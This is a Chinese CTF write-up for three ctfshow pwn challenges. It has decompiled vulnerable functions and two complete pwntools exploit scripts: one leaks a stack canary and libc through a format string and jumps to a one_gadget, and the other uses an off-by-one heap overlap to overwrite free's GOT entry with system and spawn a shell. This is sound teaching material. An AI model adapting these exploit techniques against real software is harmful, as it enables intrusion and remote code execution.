menu EDS
ctfshow 吃鸡杯 pwn writeup
8869 浏览 | 2021-09-28 | 分类:pwn | 标签:

ctfshow 吃鸡杯 pwn writeup

win_pwn

这道题严格意义来说是一道逆向题。
main()存在栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [esp+16h] [ebp-AAh]
  char v5; // [esp+BFh] [ebp-1h]

  __main();
  v5 = 1;
  puts("Please input your name:");
  fflush(&__iob[1]);
  scanf("%s", &v4);
  if ( v5 )
    result = printf("Your level is not admin");
  else
    result = DangerFunc(&v4);
  if ( argc != 1 )
    exit(0);
  return result;
}

如果v5里边有内容,则退出。程序在开始时v5=1,所以必须通过溢出覆盖掉v5才能执行DangerFunc()函数。

int __cdecl DangerFunc(char *a1)
{
  int v2; // [esp+18h] [ebp-30h]

  getflag(a1, (int)&v2);
  puts("###########################################################################");
  puts("###########################################################################");
  printf("\t\tflag{%s}\t\t\t\n", &v2);
  puts("###########################################################################");
  puts("###########################################################################");
  fflush(&__iob[1]);
  return system("c:\\Windows\\System32\\cmd.exe");
}

DangerFunc()内的getflag()要求其第一个参数内的前168位不能为0。

int __cdecl getflag(char *a1, int a2)
{
  size_t v2; // eax
  int v3; // eax
  int result; // eax
  int v5; // [esp+10h] [ebp-88h]
  char v6; // [esp+68h] [ebp-30h]
  char v7[32]; // [esp+6Ch] [ebp-2Ch]
  int i; // [esp+8Ch] [ebp-Ch]

  for ( i = 0; i <= 168; ++i )
  {
    if ( !a1[i] )
    {
      puts("Do not input '\\0'!");
      exit(0);
    }
  }
  v2 = strlen(a1);
  itoa(v2 + 16, &v6, 10);
  MD5Init(&v5);
  v3 = strlen(&v6);
  MD5Update((int)&v5, &v6, v3);
  result = MD5Final(&v5, v7);
  for ( i = 0; i <= 15; ++i )
    result = sprintf((char *)(2 * i + a2), "%02x", (unsigned __int8)v7[i]);
  return result;
}

所以该题解题方法为输入大量的垃圾字符,在0x0402473处下断点,将esp+0xBF内的内容改为0即可获得flag。

easy_canary

main()函数里面的rand()的seed固定是0,所以其生成的随机数也是固定的,达成条件后进入something。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned int seed; // [rsp+8h] [rbp-8h]
  int v6; // [rsp+Ch] [rbp-4h]

  menu(*&argc, argv, envp);
  seed = 0;
  v4 = 0;
  srand(0);
  v6 = 0;
  puts("input your lucky number:");
  gets(&v4);
  v6 = rand();
  if ( v4 == v6 )
  {
    while ( seed <= 1 )
    {
      something();
      putchar(10);
      ++seed;
    }
  }
  return 0;
}

something()函数存在栈溢出和格式化字符串漏洞。

__int64 something()
{
  char buf; // [rsp+0h] [rbp-50h]
  unsigned __int64 v2; // [rsp+48h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x40uLL);
  read(0, &buf, 0x68uLL);
  printf(&buf, &buf);
  return 0LL;
}

但是存在canary保护,所以需要泄露canary和libc,由于溢出只有两个地址的位置,但执行完ret时rax为0,所以有合适的one_gadget可以直接进行跳转。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'

local = 0
if local == 1:
    r=process('./pwn1')
    gdb.attach(r,"b * $rebase(0xB0D)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    lsmr = 0x020840
    ogg = 0x45226
else:
    r = remote('pwn.challenge.ctf.show',28029)
    libc = ELF('./libc_64.so')
    lsmr = 0x020830
    ogg = 0x45216
elf=ELF('./pwn1')

r.recvuntil('number:')
r.sendline(p32(0x6b8b4567)+'\x00'*4+cyclic(4)+'\x00'*7)
sleep(1)
r.sendline('%21$p%25$p%15$p')
r.recvuntil('\n')

libc_addr = int(r.recv(14),16)-lsmr
pie = int(r.recv(14),16)-elf.symbols['main']
canary = int(r.recv(18),16)

log.success('libc_addr:'+hex(libc_addr))
log.success('pie:'+hex(pie))
log.success('canary:'+hex(canary))

r.sendline(cyclic(72)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr+ogg))

r.interactive()

ezheap

查看menu()函数存在如下功能。

int menu()
{
  puts("--------------------------------");
  puts("        w0odpeck3r's Nest       ");
  puts("--------------------------------");
  puts(" 1. Build a Nest                ");
  puts(" 2. Decorate a Nest             ");
  puts(" 3. Show a Nest                 ");
  puts(" 4. Crash a Nest                ");
  puts(" 5. Leave the tree              ");
  puts("--------------------------------");
  return printf("Your choice :");
}

buildnest()函数为先生成一个0x10的堆块,输入大小,再生成一个指定大小的堆块。并将大小和堆地址存入最开始的堆块内。

unsigned __int64 buildnest()
{
  _QWORD *v0; // rbx
  signed int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !nests[i] )
    {
      nests[i] = malloc(0x10uLL);
      if ( !nests[i] )
      {
        puts("Nope.something wrong..");
        exit(1);
      }
      printf("how big is the nest ?");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      v0 = nests[i];
      v0[1] = malloc(size);
      if ( !*(nests[i] + 1) )
      {
        puts("Nope.something wrong..");
        exit(2);
      }
      *nests[i] = size;
      printf("what stuff you wanna put in the nest?", &buf);
      myread(*(nests[i] + 1), size);
      puts("Thx buddy.");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

decoratenest()函数存在off by one

unsigned __int64 decoratenest()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("OOB!My Boy!");
    _exit(0);
  }
  if ( nests[v1] )
  {
    printf("what stuff you wanna put in the nest?", &buf);
    myread(*(nests[v1] + 1), *nests[v1] + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such nest !");
  }
  return __readfsqword(0x28u) ^ v3;
}

shownext()函数输出指定堆块的第二个地址。

unsigned __int64 shownest()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("OOB!My Boy!");
    _exit(0);
  }
  if ( nests[v1] )
  {
    printf("Size : %ld\nDecorations : %s\n", *nests[v1], *(nests[v1] + 1));
    puts("Done !");
  }
  else
  {
    puts("No such nest !");
  }
  return __readfsqword(0x28u) ^ v3;
}

crash_nest()为先释放指定堆块的第二个地址,然后释放该堆块。

unsigned __int64 crash_nest()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("OOB!My Boy!");
    _exit(0);
  }
  if ( nests[v1] )
  {
    free(*(nests[v1] + 1));
    free(nests[v1]);
    nests[v1] = 0LL;
    puts("Now another w0odpeck3r lost his house :(");
  }
  else
  {
    puts("No such nest !");
  }
  return __readfsqword(0x28u) ^ v3;
}

先申请三次,总共有6个堆块。利用off by one修改第0个堆块。溢出修改第1个堆块大小为0x41,然后释放掉第1个那两个堆块。再申请0x38大小的堆块,这样就重复获得刚才的两个堆块。并出现堆块重叠,利用uaf修改堆指针为free_got,泄露free()的真实地址并修改为system()的地址。getshell。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'


local = 0
if local == 1:
    r=process('./ezheap')
    gdb.attach(r,"b * menu")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('pwn.challenge.ctf.show',28081)
    libc = ELF('libc-2.27.so')

elf=ELF('./ezheap')

def add(size,content):
    r.recvuntil('choice :')
    r.sendline('1')
    r.recvuntil('nest ?')
    r.sendline(str(size))
    r.recvuntil('nest?')
    r.send(str(content))

def write(index,content):
    r.recvuntil('choice :')
    r.sendline('2')
    r.recvuntil('Index :')
    r.sendline(str(index))
    r.recvuntil('nest?')
    r.send(str(content))

def dele(index):
    r.recvuntil('choice :')
    r.sendline('4')
    r.recvuntil('Index :')
    r.sendline(str(index))

def show(index):
    r.recvuntil('choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline(str(index))

add(0x18,'a'*0x18)
add(0x18,'b'*0x8)
add(0x48,'c'*0x8)
add(0x48,'d'*0x8)

write(0,'e'*0x18+'\x41')
dele(1)
add(0x38,'f'*0x18+p64(0x21)+p64(0x880)+'\xe0')

write(1,p64(0x88)+p64(elf.got['free']))
show(2)
r.recvuntil('Decorations : ')
free = u64(r.recv(6)+'\x00\x00')
log.success('free:'+hex(free))

libc_addr = free - libc.symbols['free']
system = libc_addr + libc.symbols['system']
write(2,p64(system))

write(1,'/bin/sh\x00')
dele(1)

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!